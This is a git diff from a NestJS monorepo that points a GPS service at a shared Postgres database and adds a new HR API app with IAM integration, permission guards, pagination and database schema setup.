||||
@@ -2,11 +2,12 @@
|
||||
GT06_TCP_PORT=5023
|
||||
GT06_TCP_HOST=0.0.0.0
|
||||
|
||||
# Shared freight database (same DB as @edr/freight-api). This app only writes
|
||||
# freight.gps_devices / freight.gps_positions and NEVER runs migrations.
|
||||
# The single, schema-separated platform database (same DB as @edr/freight-api).
|
||||
# This app only writes freight.gps_devices / freight.gps_positions — both
|
||||
# schema-qualified on the entities — and NEVER runs migrations.
|
||||
DB_HOST=localhost
|
||||
DB_PORT=5433
|
||||
DB_NAME=edr_freight
|
||||
DB_USER=postgres
|
||||
DB_PASSWORD=postgres
|
||||
DB_PORT=5432
|
||||
DB_NAME=edr_database
|
||||
DB_USER=edr
|
||||
DB_PASSWORD=edr_secret
|
||||
# TYPEORM_LOGGING=true # uncomment for SQL logging
|
||||
|
||||
@@ -15,10 +15,11 @@ export default registerAs("database", (): TypeOrmModuleOptions => {
|
||||
return {
|
||||
type: "postgres",
|
||||
host: process.env.DB_HOST ?? "localhost",
|
||||
port: parseInt(process.env.DB_PORT ?? "5433", 10),
|
||||
username: process.env.DB_USER ?? "postgres",
|
||||
password: process.env.DB_PASSWORD ?? "",
|
||||
database: process.env.DB_NAME ?? "edr_freight",
|
||||
port: parseInt(process.env.DB_PORT ?? "5432", 10),
|
||||
username: process.env.DB_USER ?? "edr",
|
||||
password: process.env.DB_PASSWORD ?? "edr_secret",
|
||||
// Same single, schema-separated platform database as every other app.
|
||||
database: process.env.DB_NAME ?? "edr_database",
|
||||
entities: [GpsDevice, GpsPosition],
|
||||
migrations: [],
|
||||
migrationsRun: false,
|
||||
|
||||
8
apps/edr-hr-api/nest-cli.json
Normal file
8
apps/edr-hr-api/nest-cli.json
Normal file
@@ -0,0 +1,8 @@
|
||||
{
|
||||
"$schema": "https://json.schemastore.org/nest-cli",
|
||||
"collection": "@nestjs/schematics",
|
||||
"sourceRoot": "src",
|
||||
"compilerOptions": {
|
||||
"deleteOutDir": false
|
||||
}
|
||||
}
|
||||
74
apps/edr-hr-api/package.json
Normal file
74
apps/edr-hr-api/package.json
Normal file
@@ -0,0 +1,74 @@
|
||||
{
|
||||
"name": "@edr/hr-api",
|
||||
"version": "0.0.0",
|
||||
"private": true,
|
||||
"description": "EDR HR API \u2014 extends IAM with employee profiles, HR org structure (job titles, job positions, department profiles) and employee documents",
|
||||
"scripts": {
|
||||
"clean": "node -e \"const fs=require('fs'); fs.rmSync('dist',{recursive:true,force:true}); fs.rmSync('.tsbuildinfo',{force:true});\"",
|
||||
"predev": "pnpm run clean",
|
||||
"dev": "nest start --watch",
|
||||
"prebuild": "pnpm run clean",
|
||||
"build": "nest build && node -e \"require('fs').cpSync('src/scripts/iam-ddl','dist/scripts/iam-ddl',{recursive:true})\"",
|
||||
"start": "node dist/main.js",
|
||||
"lint": "eslint src",
|
||||
"test": "jest",
|
||||
"type-check": "tsc --noEmit",
|
||||
"migration:run": "node dist/scripts/migrate.js",
|
||||
"seed:holidays": "node dist/scripts/seed-holidays.js",
|
||||
"seed:hr": "APP_MODULE_PATH=./dist/app.module node ./node_modules/@tria-plc/iamapi-common/dist/db/seed.cli.js",
|
||||
"repair:iam-schema": "node dist/scripts/repair-iam-schema.js"
|
||||
},
|
||||
"dependencies": {
|
||||
"@edr/api-common": "workspace:*",
|
||||
"@edr/types": "workspace:*",
|
||||
"@nestjs/common": "^11.0.0",
|
||||
"@nestjs/config": "^4.0.0",
|
||||
"@nestjs/core": "^11.0.0",
|
||||
"@nestjs/jwt": "^11.0.2",
|
||||
"@nestjs/platform-express": "^11.0.0",
|
||||
"@nestjs/swagger": "^11.4.2",
|
||||
"@nestjs/typeorm": "^11.0.1",
|
||||
"@tria-plc/api-common": "file:../../local-packages/tria-plc-api-common-1.6.0.tgz",
|
||||
"@tria-plc/iamapi-common": "file:../../local-packages/tria-plc-iamapi-common-1.3.4.tgz",
|
||||
"class-transformer": "^0.5.1",
|
||||
"class-validator": "^0.14.1",
|
||||
"dotenv": "^17.4.2",
|
||||
"pg": "^8.13.0",
|
||||
"reflect-metadata": "^0.2.2",
|
||||
"rxjs": "^7.8.1",
|
||||
"typeorm": "0.3.30"
|
||||
},
|
||||
"devDependencies": {
|
||||
"@edr/eslint-config": "workspace:*",
|
||||
"@edr/tsconfig": "workspace:*",
|
||||
"@nestjs/cli": "^11.0.0",
|
||||
"@nestjs/schematics": "^11.0.0",
|
||||
"@nestjs/testing": "^11.0.0",
|
||||
"@types/express": "^5.0.0",
|
||||
"@types/jest": "^29.5.13",
|
||||
"@types/node": "^20.14.0",
|
||||
"@types/pg": "^8.6.7",
|
||||
"jest": "^29.7.0",
|
||||
"ts-jest": "^29.2.5",
|
||||
"ts-node": "^10.9.2",
|
||||
"tsconfig-paths": "^4.2.0",
|
||||
"typescript": "^5.5.4"
|
||||
},
|
||||
"jest": {
|
||||
"moduleFileExtensions": [
|
||||
"js",
|
||||
"json",
|
||||
"ts"
|
||||
],
|
||||
"rootDir": "src",
|
||||
"testRegex": ".*\\.spec\\.ts$",
|
||||
"transform": {
|
||||
"^.+\\.(t|j)s$": "ts-jest"
|
||||
},
|
||||
"collectCoverageFrom": [
|
||||
"**/*.(t|j)s"
|
||||
],
|
||||
"coverageDirectory": "../coverage",
|
||||
"testEnvironment": "node"
|
||||
}
|
||||
}
|
||||
113
apps/edr-hr-api/src/app.module.ts
Normal file
113
apps/edr-hr-api/src/app.module.ts
Normal file
@@ -0,0 +1,113 @@
|
||||
import { Module } from "@nestjs/common";
|
||||
import { ConfigModule, ConfigService } from "@nestjs/config";
|
||||
import { TypeOrmModule, TypeOrmModuleOptions } from "@nestjs/typeorm";
|
||||
import { DataSource, DataSourceOptions } from "typeorm";
|
||||
import { SharedAuthModule } from "@tria-plc/api-common/modules/auth/shared-auth.module";
|
||||
import { IamModule } from "@tria-plc/iamapi-common/iam.module";
|
||||
|
||||
import databaseConfig from "./config/database.config";
|
||||
import {
|
||||
APPLICATION_SEARCH_PATH,
|
||||
ensurePostgresSchemas,
|
||||
} from "./config/ensure-postgres-schemas";
|
||||
import { IamDirectoryModule } from "./iam-directory/iam-directory.module";
|
||||
import { EmployeesModule } from "./modules/employees/employees.module";
|
||||
import { MeModule } from "./modules/me/me.module";
|
||||
import { OrgExplorerModule } from "./modules/org-explorer/org-explorer.module";
|
||||
import { LeaveModule } from "./modules/leave/leave.module";
|
||||
import { AttendanceModule } from "./modules/attendance/attendance.module";
|
||||
import { PayrollModule } from "./modules/payroll/payroll.module";
|
||||
import { RecruitmentModule } from "./modules/recruitment/recruitment.module";
|
||||
import { AppraisalModule } from "./modules/appraisal/appraisal.module";
|
||||
import { ReportsModule } from "./modules/reports/reports.module";
|
||||
import {
|
||||
HR_APPLICATION,
|
||||
HR_PERMISSIONS,
|
||||
HR_ROLES,
|
||||
HR_ROLE_PERMISSIONS,
|
||||
} from "./seed/hr-permissions.registry";
|
||||
import { JobTitlesModule } from "./modules/job-titles/job-titles.module";
|
||||
import { JobPositionsModule } from "./modules/job-positions/job-positions.module";
|
||||
import { UnitHrProfilesModule } from "./modules/unit-hr-profiles/unit-hr-profiles.module";
|
||||
|
||||
@Module({
|
||||
imports: [
|
||||
ConfigModule.forRoot({ isGlobal: true, load: [databaseConfig] }),
|
||||
TypeOrmModule.forRootAsync({
|
||||
inject: [ConfigService],
|
||||
useFactory: (config: ConfigService): TypeOrmModuleOptions =>
|
||||
config.get<TypeOrmModuleOptions>("database")!,
|
||||
dataSourceFactory: async (options) => {
|
||||
if (!options) throw new Error("Missing TypeORM DataSource options");
|
||||
|
||||
await ensurePostgresSchemas(options as DataSourceOptions);
|
||||
const dataSource = new DataSource(options as DataSourceOptions);
|
||||
await dataSource.initialize();
|
||||
|
||||
// The database sits behind a connection pooler that rejects the Postgres
|
||||
// `options` startup parameter (08P01), so search_path is set per physical
|
||||
// connection: the pg Pool emits `connect` for every new client (initial
|
||||
// fill, growth, reconnect). Without it, IamDirectoryService's schema-
|
||||
// qualified reads still work, but IAM's own unqualified SQL would not.
|
||||
const pool = (dataSource.driver as { master?: unknown }).master as
|
||||
| { on?: (event: string, cb: (client: unknown) => void) => void }
|
||||
| undefined;
|
||||
if (pool?.on) {
|
||||
pool.on("connect", (client) => {
|
||||
(client as { query: (sql: string) => Promise<unknown> })
|
||||
.query(`SET search_path TO ${APPLICATION_SEARCH_PATH}`)
|
||||
.catch(() => {
|
||||
/* connection is validated on its first real query */
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
return dataSource;
|
||||
},
|
||||
}),
|
||||
|
||||
// Authentication is IAM's, unchanged: SharedAuthModule provides JwtGuard,
|
||||
// which validates the session against `iam.sessions` directly (schema-
|
||||
// qualified SQL, verified). HR issues no tokens and stores no credentials.
|
||||
SharedAuthModule,
|
||||
|
||||
// IAM, embedded — the platform pattern: every service takes the IAM package
|
||||
// as a dependency, declares its own application + permissions, and IAM gates
|
||||
// each action by the caller's position. Same shape as edr-passenger-api and
|
||||
// edr-freight-api.
|
||||
//
|
||||
// This also brings IAM's own controllers (/units, /positions, /employees,
|
||||
// /employee-positions, …) onto this app, which is intended: HR is a second
|
||||
// front end to IAM's capabilities, not a fork of them.
|
||||
//
|
||||
// In-process matters for the hire flow specifically: creating an IAM user,
|
||||
// an employee, an employee-position and an HR profile is ONE transaction
|
||||
// here. Over HTTP it could not be, and a partial failure would strand an IAM
|
||||
// user with no HR profile.
|
||||
//
|
||||
// Requires the entity globs in config/database.config.ts and
|
||||
// `autoLoadEntities: false` — the partial forFeature set is what previously
|
||||
// broke boot with `Entity metadata for User#sessions was not found`.
|
||||
IamModule.forRoot({
|
||||
applications: [HR_APPLICATION],
|
||||
permissions: HR_PERMISSIONS,
|
||||
roles: HR_ROLES,
|
||||
rolePermissions: HR_ROLE_PERMISSIONS,
|
||||
}),
|
||||
|
||||
IamDirectoryModule,
|
||||
MeModule,
|
||||
OrgExplorerModule,
|
||||
JobTitlesModule,
|
||||
JobPositionsModule,
|
||||
UnitHrProfilesModule,
|
||||
EmployeesModule,
|
||||
LeaveModule,
|
||||
AttendanceModule,
|
||||
PayrollModule,
|
||||
RecruitmentModule,
|
||||
AppraisalModule,
|
||||
ReportsModule,
|
||||
],
|
||||
})
|
||||
export class AppModule {}
|
||||
42
apps/edr-hr-api/src/common/current-actor.util.ts
Normal file
42
apps/edr-hr-api/src/common/current-actor.util.ts
Normal file
@@ -0,0 +1,42 @@
|
||||
import { ForbiddenException } from "@nestjs/common";
|
||||
import type { TCurrentUser } from "@tria-plc/api-common/modules/auth/types/current-user.type";
|
||||
|
||||
import {
|
||||
currentEmployeeId,
|
||||
isSuperAdmin,
|
||||
type MeLikeUser,
|
||||
} from "./hr-permission.util";
|
||||
import type { ActorContext } from "../modules/employees/employees.service";
|
||||
|
||||
/**
|
||||
* The one place a request's actor is derived from the token.
|
||||
*
|
||||
* `organizationId` comes from the token's employee block, never from the request
|
||||
* body or a query parameter — it is the row-scoping key for every HR read and
|
||||
* write, so letting a client supply it would be a tenancy hole.
|
||||
*/
|
||||
export function actorFrom(user: TCurrentUser): ActorContext {
|
||||
const me = user as unknown as MeLikeUser;
|
||||
const employee = me.employee;
|
||||
const organizationId = Array.isArray(employee)
|
||||
? employee[0]?.organizationId
|
||||
: employee?.organizationId;
|
||||
|
||||
const superAdmin = isSuperAdmin(me);
|
||||
|
||||
// A super admin reads across organizations, so a missing employee record is
|
||||
// not disqualifying for them. Everyone else must have one: it is the scoping
|
||||
// key for every HR read and write.
|
||||
if (!organizationId && !superAdmin) {
|
||||
throw new ForbiddenException(
|
||||
"This account has no organization context — HR requires a staff account",
|
||||
);
|
||||
}
|
||||
|
||||
return {
|
||||
employeeId: currentEmployeeId(me),
|
||||
userId: me.id ?? "",
|
||||
organizationId: organizationId ?? "",
|
||||
isSuperAdmin: superAdmin,
|
||||
};
|
||||
}
|
||||
20
apps/edr-hr-api/src/common/hr-guards.ts
Normal file
20
apps/edr-hr-api/src/common/hr-guards.ts
Normal file
@@ -0,0 +1,20 @@
|
||||
import { applyDecorators, UseGuards } from "@nestjs/common";
|
||||
import { JwtGuard } from "@tria-plc/api-common/modules/auth/services/jwt.guard";
|
||||
|
||||
import { HrPermissionGuard } from "./hr-permission.guard";
|
||||
|
||||
/**
|
||||
* The single route decorator for this app: authenticate, then require one of the
|
||||
* given HR permission keys.
|
||||
*
|
||||
* Self-service routes (an employee reading their own profile) still go through
|
||||
* it — they carry `can:view_own:*`, and the ownership check itself lives in the
|
||||
* service, never in the guard.
|
||||
*/
|
||||
export const HrStaff = (permission: string | string[]) =>
|
||||
applyDecorators(
|
||||
UseGuards(
|
||||
JwtGuard,
|
||||
HrPermissionGuard(Array.isArray(permission) ? permission : [permission]),
|
||||
),
|
||||
);
|
||||
57
apps/edr-hr-api/src/common/hr-permission.guard.ts
Normal file
57
apps/edr-hr-api/src/common/hr-permission.guard.ts
Normal file
@@ -0,0 +1,57 @@
|
||||
import {
|
||||
CanActivate,
|
||||
ExecutionContext,
|
||||
ForbiddenException,
|
||||
Injectable,
|
||||
Type,
|
||||
UnauthorizedException,
|
||||
} from "@nestjs/common";
|
||||
import type { TCurrentUser } from "@tria-plc/api-common/modules/auth/types/current-user.type";
|
||||
|
||||
import { hasHrPermission, isSuperAdmin } from "./hr-permission.util";
|
||||
|
||||
// String literals on purpose, matching freight's guard: these are wire-format
|
||||
// values of `iam.users.user_type`, and importing the vendored enum would couple
|
||||
// this file to the package's internal layout for no gain.
|
||||
const EMPLOYEE_USER_TYPE = "employee";
|
||||
|
||||
const userTypeOf = (user: TCurrentUser): string | undefined =>
|
||||
(user as { userType?: string }).userType;
|
||||
|
||||
/** HR is staff-only end to end. A missing userType (stale session) also fails. */
|
||||
const isEmployee = (user: TCurrentUser): boolean =>
|
||||
userTypeOf(user) === EMPLOYEE_USER_TYPE || isSuperAdmin(user);
|
||||
|
||||
/**
|
||||
* Guard factory. Passing several keys means "any one of these" — used on the
|
||||
* class gate, which must list every key its routes use: Nest runs class AND
|
||||
* method guards, so a key missing from the class list denies before the route's
|
||||
* own key is ever evaluated.
|
||||
*/
|
||||
export function HrPermissionGuard(permissions: string[]): Type<CanActivate> {
|
||||
@Injectable()
|
||||
class HrPermissionsGuard implements CanActivate {
|
||||
canActivate(context: ExecutionContext): boolean {
|
||||
const request = context
|
||||
.switchToHttp()
|
||||
.getRequest<{ user?: TCurrentUser }>();
|
||||
const user = request.user;
|
||||
|
||||
if (!user) {
|
||||
throw new UnauthorizedException("Authentication required");
|
||||
}
|
||||
if (!isEmployee(user)) {
|
||||
throw new ForbiddenException("Staff account required");
|
||||
}
|
||||
|
||||
if (!permissions?.length) return true;
|
||||
if (permissions.some((p) => hasHrPermission(user, p))) return true;
|
||||
|
||||
throw new ForbiddenException(
|
||||
`Missing permission. Required one of: ${permissions.join(", ")}`,
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
return HrPermissionsGuard;
|
||||
}
|
||||
108
apps/edr-hr-api/src/common/hr-permission.util.ts
Normal file
108
apps/edr-hr-api/src/common/hr-permission.util.ts
Normal file
@@ -0,0 +1,108 @@
|
||||
import { ForbiddenException } from "@nestjs/common";
|
||||
import type { TCurrentUser } from "@tria-plc/api-common/modules/auth/types/current-user.type";
|
||||
|
||||
const SUPER_ADMIN_ROLE = "super_admin";
|
||||
const ORGANIZATION_ADMIN_ROLE = "organization_admin";
|
||||
|
||||
type PermissionLike = { key?: string };
|
||||
type PositionLike = { permissions?: PermissionLike[] };
|
||||
|
||||
/**
|
||||
* The two token shapes IAM issues. `employee` is an object on a session token
|
||||
* (`TCurrentUser`) and an array on the raw payload (`TCurrentTokenUser`); both
|
||||
* reach controllers depending on how the session was minted, so every reader has
|
||||
* to handle both. Mirrors freight's `collectPermissionKeys`.
|
||||
*/
|
||||
export type MeLikeUser = {
|
||||
id?: string;
|
||||
roles?: { key?: string }[];
|
||||
permissions?: PermissionLike[];
|
||||
employee?:
|
||||
| {
|
||||
id?: string;
|
||||
organizationId?: string;
|
||||
position?: PositionLike;
|
||||
delegatedPositions?: PositionLike[];
|
||||
}
|
||||
| { id?: string; organizationId?: string; positions?: PositionLike[] }[]
|
||||
| null;
|
||||
};
|
||||
|
||||
export function isSuperAdmin(user: MeLikeUser | null | undefined): boolean {
|
||||
return Boolean(user?.roles?.some((r) => r.key === SUPER_ADMIN_ROLE));
|
||||
}
|
||||
|
||||
export function isOrganizationAdmin(
|
||||
user: MeLikeUser | null | undefined,
|
||||
): boolean {
|
||||
return Boolean(user?.roles?.some((r) => r.key === ORGANIZATION_ADMIN_ROLE));
|
||||
}
|
||||
|
||||
/** Flat permission keys from roles and every position the token carries. */
|
||||
export function collectPermissionKeys(
|
||||
user: MeLikeUser | null | undefined,
|
||||
): string[] {
|
||||
if (!user) return [];
|
||||
|
||||
const keys = new Set<string>();
|
||||
for (const p of user.permissions ?? []) {
|
||||
if (p.key) keys.add(p.key);
|
||||
}
|
||||
|
||||
const employee = user.employee;
|
||||
if (!employee) return [...keys];
|
||||
|
||||
if (Array.isArray(employee)) {
|
||||
for (const emp of employee) {
|
||||
for (const pos of emp.positions ?? []) {
|
||||
for (const p of pos.permissions ?? []) {
|
||||
if (p.key) keys.add(p.key);
|
||||
}
|
||||
}
|
||||
}
|
||||
return [...keys];
|
||||
}
|
||||
|
||||
for (const p of employee.position?.permissions ?? []) {
|
||||
if (p.key) keys.add(p.key);
|
||||
}
|
||||
for (const delegated of employee.delegatedPositions ?? []) {
|
||||
for (const p of delegated.permissions ?? []) {
|
||||
if (p.key) keys.add(p.key);
|
||||
}
|
||||
}
|
||||
return [...keys];
|
||||
}
|
||||
|
||||
export function hasHrPermission(
|
||||
user: MeLikeUser | null | undefined,
|
||||
permissionKey: string,
|
||||
): boolean {
|
||||
if (!user) return false;
|
||||
if (isSuperAdmin(user)) return true;
|
||||
return collectPermissionKeys(user).includes(permissionKey);
|
||||
}
|
||||
|
||||
export function assertHrPermission(
|
||||
user: TCurrentUser | MeLikeUser | null | undefined,
|
||||
permissionKey: string,
|
||||
): void {
|
||||
if (hasHrPermission(user, permissionKey)) return;
|
||||
throw new ForbiddenException(`Missing permission: ${permissionKey}`);
|
||||
}
|
||||
|
||||
/**
|
||||
* The caller's `iam.employees.id` — the value HR profiles hang off.
|
||||
*
|
||||
* Returns null for a token with no employee (a customer/portal account, or a
|
||||
* super admin who is not staff). Self-service routes treat null as "no own
|
||||
* record", never as "unrestricted".
|
||||
*/
|
||||
export function currentEmployeeId(
|
||||
user: MeLikeUser | null | undefined,
|
||||
): string | null {
|
||||
const employee = user?.employee;
|
||||
if (!employee) return null;
|
||||
if (Array.isArray(employee)) return employee[0]?.id ?? null;
|
||||
return employee.id ?? null;
|
||||
}
|
||||
54
apps/edr-hr-api/src/common/pagination.dto.ts
Normal file
54
apps/edr-hr-api/src/common/pagination.dto.ts
Normal file
@@ -0,0 +1,54 @@
|
||||
import { ApiPropertyOptional } from "@nestjs/swagger";
|
||||
import { Type } from "class-transformer";
|
||||
import { IsIn, IsInt, IsOptional, IsString, Max, Min } from "class-validator";
|
||||
|
||||
/** Envelope every list endpoint returns, so the frontend table is one component. */
|
||||
export type Paginated<T> = {
|
||||
items: T[];
|
||||
total: number;
|
||||
page: number;
|
||||
limit: number;
|
||||
pageCount: number;
|
||||
};
|
||||
|
||||
export class PaginationQueryDto {
|
||||
@ApiPropertyOptional({ default: 1, minimum: 1 })
|
||||
@IsOptional()
|
||||
@Type(() => Number)
|
||||
@IsInt()
|
||||
@Min(1)
|
||||
page?: number = 1;
|
||||
|
||||
@ApiPropertyOptional({ default: 25, minimum: 1, maximum: 200 })
|
||||
@IsOptional()
|
||||
@Type(() => Number)
|
||||
@IsInt()
|
||||
@Min(1)
|
||||
@Max(200)
|
||||
limit?: number = 25;
|
||||
|
||||
@ApiPropertyOptional()
|
||||
@IsOptional()
|
||||
@IsString()
|
||||
sortBy?: string;
|
||||
|
||||
@ApiPropertyOptional({ enum: ["ASC", "DESC"], default: "DESC" })
|
||||
@IsOptional()
|
||||
@IsIn(["ASC", "DESC"])
|
||||
sortOrder?: "ASC" | "DESC" = "DESC";
|
||||
}
|
||||
|
||||
export function paginate<T>(
|
||||
items: T[],
|
||||
total: number,
|
||||
page: number,
|
||||
limit: number,
|
||||
): Paginated<T> {
|
||||
return {
|
||||
items,
|
||||
total,
|
||||
page,
|
||||
limit,
|
||||
pageCount: limit > 0 ? Math.ceil(total / limit) : 0,
|
||||
};
|
||||
}
|
||||
109
apps/edr-hr-api/src/config/database.config.ts
Normal file
109
apps/edr-hr-api/src/config/database.config.ts
Normal file
@@ -0,0 +1,109 @@
|
||||
import { dirname } from "path";
|
||||
|
||||
import { registerAs } from "@nestjs/config";
|
||||
import { TypeOrmModuleOptions } from "@nestjs/typeorm";
|
||||
import { DataSourceOptions } from "typeorm";
|
||||
|
||||
/**
|
||||
* HR migrations are recorded in `hr.migrations`, alongside `iam.typeorm_migrations`
|
||||
* and `freight.migrations` in the same database. Each app owns exactly one history
|
||||
* table; HR never writes the IAM one.
|
||||
*/
|
||||
export const HR_MIGRATIONS = {
|
||||
schema: "hr",
|
||||
table: "migrations",
|
||||
} as const;
|
||||
|
||||
/**
|
||||
* IAM entity registration.
|
||||
*
|
||||
* `IamModule` is embedded in this app (the platform pattern: every service takes
|
||||
* the IAM package as a dependency and IAM gates each action by the caller's
|
||||
* position), so its entities must be on this DataSource.
|
||||
*
|
||||
* Registered as GLOBS over the two package dists rather than as a hand-written
|
||||
* class list. freight-api lists ~50 classes by hand and its own CLAUDE.md flags
|
||||
* every package bump as a candidate to break it; globs cannot go stale.
|
||||
*
|
||||
* BOTH dists are required. Some IAM entities relate to notification entities
|
||||
* that physically live in `@tria-plc/api-common` — the IAM barrel only
|
||||
* re-exports them — so registering only the IAM dist throws
|
||||
* `Entity metadata for User#sessions was not found` at boot. This is copied from
|
||||
* `apps/edr-passenger-api/src/common/iam-typeorm.config.ts`, which documents the
|
||||
* same failure.
|
||||
*/
|
||||
function resolvePackageDist(pkg: string): string {
|
||||
// Node honours each package's `exports` map at runtime even though TypeScript's
|
||||
// resolution does not, so require.resolve on the barrel lands in dist/.
|
||||
return dirname(require.resolve(pkg)).replace(/\\/g, "/");
|
||||
}
|
||||
|
||||
const IAM_ENTITY_GLOBS = [
|
||||
`${resolvePackageDist("@tria-plc/iamapi-common")}/entities/**/*.entity.{ts,js}`,
|
||||
`${resolvePackageDist("@tria-plc/api-common")}/entities/**/*.entity.{ts,js}`,
|
||||
];
|
||||
|
||||
function buildConnectionOptions() {
|
||||
return {
|
||||
type: "postgres" as const,
|
||||
host: process.env.DB_HOST ?? "localhost",
|
||||
port: parseInt(process.env.DB_PORT ?? "5432", 10),
|
||||
username: process.env.DB_USER ?? "edr",
|
||||
password: process.env.DB_PASSWORD ?? "edr_secret",
|
||||
database: process.env.DB_NAME ?? "edr_database",
|
||||
// Do NOT pass `extra.options: '-c search_path=...'` — the connection pooler
|
||||
// fronting the dev database rejects the Postgres `options` startup parameter
|
||||
// with `08P01`. search_path is applied per physical connection in a pool
|
||||
// `connect` handler instead (see app.module.ts).
|
||||
synchronize: false,
|
||||
logging:
|
||||
process.env.TYPEORM_LOGGING === "true"
|
||||
? true
|
||||
: (["error", "warn"] as DataSourceOptions["logging"]),
|
||||
};
|
||||
}
|
||||
|
||||
/**
|
||||
* Runtime options for the API. Carries no migrations — see `migration:run`.
|
||||
*
|
||||
* One connection serves both schemas: HR entities are `@Entity({schema:"hr"})`
|
||||
* and IAM's are `schema:"iam"`, so they cannot collide. `autoLoadEntities` is
|
||||
* OFF because everything is listed explicitly here — leaving it on lets
|
||||
* IamModule's `forFeature` registrations add a PARTIAL entity set, which is the
|
||||
* exact configuration that failed at boot.
|
||||
*/
|
||||
export function buildDataSourceOptions(): DataSourceOptions {
|
||||
return {
|
||||
...buildConnectionOptions(),
|
||||
schema: HR_MIGRATIONS.schema,
|
||||
entities: [__dirname + "/../**/*.entity.{ts,js}", ...IAM_ENTITY_GLOBS],
|
||||
migrations: [],
|
||||
};
|
||||
}
|
||||
|
||||
/**
|
||||
* HR migrations only, recorded in `hr.migrations`.
|
||||
*
|
||||
* Deliberately no entities: this DataSource exists to run HR's own DDL. HR never
|
||||
* migrates the `iam` schema — that belongs to the IAM owner.
|
||||
*/
|
||||
export function buildHrMigrationDataSourceOptions(): DataSourceOptions {
|
||||
return {
|
||||
...buildConnectionOptions(),
|
||||
schema: HR_MIGRATIONS.schema,
|
||||
entities: [],
|
||||
migrations: [__dirname + "/../migrations/*.js"],
|
||||
migrationsTableName: HR_MIGRATIONS.table,
|
||||
migrationsTransactionMode: "each",
|
||||
};
|
||||
}
|
||||
|
||||
export default registerAs(
|
||||
"database",
|
||||
(): TypeOrmModuleOptions => ({
|
||||
...buildDataSourceOptions(),
|
||||
autoLoadEntities: false,
|
||||
// Migrations run as a separate one-shot step, never on API boot (house rule).
|
||||
migrationsRun: false,
|
||||
}),
|
||||
);
|
||||
62
apps/edr-hr-api/src/config/ensure-postgres-schemas.ts
Normal file
62
apps/edr-hr-api/src/config/ensure-postgres-schemas.ts
Normal file
@@ -0,0 +1,62 @@
|
||||
import { DataSource, DataSourceOptions } from "typeorm";
|
||||
|
||||
/**
|
||||
* Schemas this app touches. `hr` is the only one it owns and migrates; `iam` is
|
||||
* read-only (owned by edr-freight-api's migrations) and is listed so the search
|
||||
* path resolves unqualified IAM lookups, and so a brand-new database is usable
|
||||
* before freight has ever booted against it.
|
||||
*/
|
||||
export const APPLICATION_SCHEMAS = ["public", "iam", "hr", "audit"] as const;
|
||||
|
||||
export const APPLICATION_SEARCH_PATH = APPLICATION_SCHEMAS.join(",");
|
||||
|
||||
/**
|
||||
* Extensions the migrations call into but never create themselves — the HR
|
||||
* baseline defaults primary keys to `gen_random_uuid()`.
|
||||
*/
|
||||
export const APPLICATION_EXTENSIONS = ["uuid-ossp", "pgcrypto"] as const;
|
||||
|
||||
/**
|
||||
* TypeORM creates the migrations table before any migration runs, so the schema
|
||||
* that table lives in has to exist first. Mirrors
|
||||
* `apps/edr-freight-api/src/config/ensure-postgres-schemas.ts` — deliberately, so
|
||||
* the two apps cannot disagree about how the shared database is prepared.
|
||||
*/
|
||||
export async function ensurePostgresSchemas(
|
||||
options: DataSourceOptions,
|
||||
): Promise<void> {
|
||||
const bootstrap = new DataSource({
|
||||
...options,
|
||||
entities: [],
|
||||
migrations: [],
|
||||
migrationsRun: false,
|
||||
synchronize: false,
|
||||
});
|
||||
|
||||
await bootstrap.initialize();
|
||||
|
||||
for (const schema of APPLICATION_SCHEMAS) {
|
||||
if (schema === "public") {
|
||||
await bootstrap.query(`CREATE SCHEMA IF NOT EXISTS public`);
|
||||
await bootstrap.query(`GRANT ALL ON SCHEMA public TO public`);
|
||||
} else {
|
||||
await bootstrap.query(`CREATE SCHEMA IF NOT EXISTS "${schema}"`);
|
||||
await bootstrap.query(`GRANT USAGE ON SCHEMA "${schema}" TO public`);
|
||||
await bootstrap.query(`GRANT CREATE ON SCHEMA "${schema}" TO public`);
|
||||
}
|
||||
}
|
||||
|
||||
// Best effort: creating an extension needs rights the app user may not have.
|
||||
// On an established database they are already installed and this is a no-op.
|
||||
for (const extension of APPLICATION_EXTENSIONS) {
|
||||
try {
|
||||
await bootstrap.query(`CREATE EXTENSION IF NOT EXISTS "${extension}"`);
|
||||
} catch (err) {
|
||||
console.warn(
|
||||
`could not ensure extension "${extension}": ${(err as Error).message}`,
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
await bootstrap.destroy();
|
||||
}
|
||||
8
apps/edr-hr-api/src/data-source.ts
Normal file
8
apps/edr-hr-api/src/data-source.ts
Normal file
@@ -0,0 +1,8 @@
|
||||
import "dotenv/config";
|
||||
import { DataSource } from "typeorm";
|
||||
import { buildHrMigrationDataSourceOptions } from "./config/database.config";
|
||||
|
||||
/** Standalone DataSource for the TypeORM CLI and the migrate script. */
|
||||
export const AppDataSource = new DataSource(buildHrMigrationDataSourceOptions());
|
||||
|
||||
export default AppDataSource;
|
||||
16
apps/edr-hr-api/src/iam-directory/iam-directory.module.ts
Normal file
16
apps/edr-hr-api/src/iam-directory/iam-directory.module.ts
Normal file
@@ -0,0 +1,16 @@
|
||||
import { Global, Module } from "@nestjs/common";
|
||||
|
||||
import { IamDirectoryService } from "./iam-directory.service";
|
||||
import { IamOperationsService } from "./iam-operations.service";
|
||||
|
||||
/**
|
||||
* Global because every HR feature module needs to resolve an employee, and
|
||||
* routing that through per-module imports would spread knowledge of IAM across
|
||||
* the app — the opposite of what this module exists for.
|
||||
*/
|
||||
@Global()
|
||||
@Module({
|
||||
providers: [IamDirectoryService, IamOperationsService],
|
||||
exports: [IamDirectoryService, IamOperationsService],
|
||||
})
|
||||
export class IamDirectoryModule {}
|
||||
686
apps/edr-hr-api/src/iam-directory/iam-directory.service.ts
Normal file
686
apps/edr-hr-api/src/iam-directory/iam-directory.service.ts
Normal file
@@ -0,0 +1,686 @@
|
||||
import { Injectable, NotFoundException } from "@nestjs/common";
|
||||
import { InjectDataSource } from "@nestjs/typeorm";
|
||||
import { DataSource } from "typeorm";
|
||||
|
||||
/** `iam.employees` as HR reads it. Never written by this app. */
|
||||
export type IamEmployee = {
|
||||
id: string;
|
||||
name: { am: string; en: string } | null;
|
||||
status: string;
|
||||
isCurrent: boolean;
|
||||
unitId: string | null;
|
||||
organizationId: string | null;
|
||||
userId: string | null;
|
||||
username: string | null;
|
||||
email: string | null;
|
||||
phoneNumber: string | null;
|
||||
/**
|
||||
* When IAM first recorded this employee — the auto-provision hire-date proxy.
|
||||
* `Date`, not string: node-postgres hydrates timestamptz into a Date object.
|
||||
*/
|
||||
createdAt: Date | string | null;
|
